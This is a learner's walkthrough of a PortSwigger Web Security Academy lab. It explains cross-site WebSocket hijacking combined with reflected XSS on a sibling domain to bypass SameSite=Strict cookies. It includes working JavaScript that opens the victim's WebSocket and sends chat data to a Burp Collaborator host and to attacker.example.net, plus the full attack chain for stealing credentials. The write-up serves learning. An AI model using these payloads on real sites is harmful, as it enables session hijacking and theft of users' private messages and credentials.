> For the complete documentation index, see [llms.txt](https://simon-6.gitbook.io/simoncyber/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://simon-6.gitbook.io/simoncyber/portswigger-web-academy/crsf/lab-8.md).

# Lab 8

<figure><img src="/files/OOc0XKbdi9EVCQe5xvvI" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/n3TzGszc4pR8dLGRnRZx" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/bLMJ4s7tlopKGkYVHdW3" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/NzYHE1lWdO52qE5mEr4r" alt=""><figcaption></figcaption></figure>

Shows entire chat history associated with session cookie&#x20;

<figure><img src="/files/Uw3uE25A55OUYurSKZYs" alt=""><figcaption></figcaption></figure>

Since there's no CRSF token, this is vulnerable.&#x20;

<figure><img src="/files/Yt9LnytVk7JKO1plImWY" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/XZvwp6HTNfIem4iNd6bn" alt=""><figcaption></figcaption></figure>

We need to create a Javascript Payload:\
\
**What is Burp Collaborator**

Collaborator is a Burp-hosted server that **listens for incoming connections**. It gives you a unique URL like:

```
fp8narju78sr6i9ju6azb00y2p8gw7kw.oastify.com
```

When anything hits that URL — HTTP request, DNS lookup etc. — Burp records it and shows you in the Collaborator tab.

It's used to **prove out-of-band data exfiltration** — proving that a victim's browser sent data to you.

Let's first test the connection:

```
<script>
  var ws = new WebSocket('wss://0ac100c703d3fae880ce039600c100ee.web-security-academy.net/chat');
  ws.onopen = function() {
    ws.send("READY");
  };
  ws.onmessage = function(event) {
    fetch('https://fp8narju78sr6i9ju6azb00y2p8gw7kw.oastify.com.oastify.com', {method: 'POST', mode: 'no-cors', body: event.data});
  }; ###one oastify works but burpsuite is lenient if you accidentaly includes 2 
</script>
```

<figure><img src="/files/lXHAAR4tSc3pklHFU7M8" alt=""><figcaption></figcaption></figure>

So we confirmed it:

#### What the script proves / what CSWSH is

```
1. Your exploit page opens a WebSocket to the lab
2. Sends "READY" → server dumps chat history
3. Every message → POSTed to your Collaborator
```

This proves: **you can hijack someone's WebSocket connection and read their chat** — that's CSWSH. But look at Collaborator image 1 — you only got **HTTP hits**, which means the WebSocket connected but sent an empty/new session's chat.

***

#### "Brand new session" meaning

When YOU viewed the exploit → your browser opened the WebSocket **without your session cookie** (because SameSite=Strict blocked it cross-site).

So the server created a fresh empty session → chat history = empty or generic messages. Not the victim's real chat with their credentials.

You proved the WebSocket CAN be hijacked — but without the session cookie the data is useless.

<figure><img src="/files/U3fa3a4mvmmNkd0okD7W" alt=""><figcaption></figcaption></figure>

We see it uses a sibling domain (cms, probably stands for content management system)&#x20;

<figure><img src="/files/zoH4souUXgyvJ7GI8ikD" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/r9uFTbZLrUtlfNf4lX8T" alt=""><figcaption></figcaption></figure>

```
<script>alert(document.domain)</script>
```

<figure><img src="/files/mKEZRleaHIGSRQvK4Grp" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/5SCrPbOqHGHqppIvM4Nd" alt=""><figcaption></figcaption></figure>

#### Why GET specifically

Remember from earlier — SameSite=Strict blocks **all** cross-site requests **except** top-level navigation GET.

```
document.location = "https://cms-lab.net/login?username=XSS_PAYLOAD"
```

This is a top-level navigation GET → SameSite=Strict allows it → cookie gets sent.

If it was POST → SameSite=Strict blocks it → no cookie → fails.

***

#### How XSS connects to everything

The full chain:

```
1. Your exploit page runs:
   document.location = "https://cms-lab.net/login?username=CSWSH_SCRIPT"

2. Victim's browser navigates to cms-lab.net (same-site as main lab)
   → SameSite=Strict allows cookie on this top-level GET

3. cms-lab.net reflects the username into the page without sanitizing
   → XSS fires → your CSWSH script runs

4. CSWSH script opens WebSocket to main lab
   → Browser sees: cms-lab.net → main-lab.net = SAME SITE
   → Session cookie gets attached ✅

5. Server sees valid session cookie
   → Returns VICTIM's real chat history
   → Chat gets POSTed to your Collaborator
   → You find credentials
```

<figure><img src="/files/1yjurcVbDxcVnYkDPHAd" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/q4ere5TIzbstLgmhQLQZ" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/80QO48Yd189mehgBCXYv" alt=""><figcaption></figcaption></figure>

And there you have it!\
\
Next time, I should've used this script:<br>

```
<script>
  ws = new WebSocket('wss://vulnerable.example.com/messages');
  ws.onopen = function start(event) {
    ws.send("READY (or hello)");
  }
  ws.onmessage = function handleReply(event) {
    fetch('https://attacker.example.net/?'+event.data, {mode: 'no-cors'});
  }
  ws.send("Some text sent to the server");
</script>
```

#### Why you need both together

```
XSS gives you:
→ code execution inside cms-lab.net (same-site context)

CSWSH gives you:
→ ability to hijack the authenticated WebSocket

Combined:
→ XSS runs CSWSH from inside the same-site context
→ cookie gets sent (same-site, not cross-site)
→ WebSocket opens with victim's real session
→ you get real chat history with credentials
```
